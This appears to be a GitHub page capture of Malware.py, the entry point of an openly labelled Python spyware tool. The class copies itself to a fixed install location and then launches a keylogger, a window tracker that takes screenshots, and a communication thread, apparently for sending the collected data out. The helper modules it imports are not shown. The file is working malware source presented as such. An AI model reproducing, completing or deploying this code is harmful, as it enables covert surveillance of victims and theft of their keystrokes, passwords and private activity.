-
Notifications
You must be signed in to change notification settings - Fork 11
/
Copy pathMalware.py
47 lines (30 loc) · 1.39 KB
/
Malware.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from os import path, mkdir
import sys, shutil
from keylogger import Keylogger
from Screenshot import Screenshot
from WindowTracker import WindowTracker
from Communication import Communication
from Configuration import Configuration
class Malware:
def __init__(self):
self.__config = Configuration()
self.__buildMalware()
self.__screenshot = Screenshot(self.__config)
self.__windowTracker = WindowTracker(self.__config, self.__screenshot)
self.__communication = Communication(self, self.__config)
self.__keylogger = Keylogger(self.__config, self.__communication)
self.__keylogger.start()
self.__windowTracker.start()
self.__communication.start()
def __buildMalware(self) -> None:
if not self.__checkExistence():
self.__createStructure()
elif self.__config.currentPath.lower() != str(self.__config.filePath + self.__config.fileName).lower():
sys.exit()
def __checkExistence(self) -> bool:
return path.isdir(self.__config.logPath) and path.isfile(self.__config.filePath + self.__config.fileName)
def __createStructure(self) -> None:
mkdir(self.__config.logPath)
shutil.copy(self.__config.currentPath , self.__config.filePath + self.__config.fileName)
if __name__ == "__main__":
malware = Malware()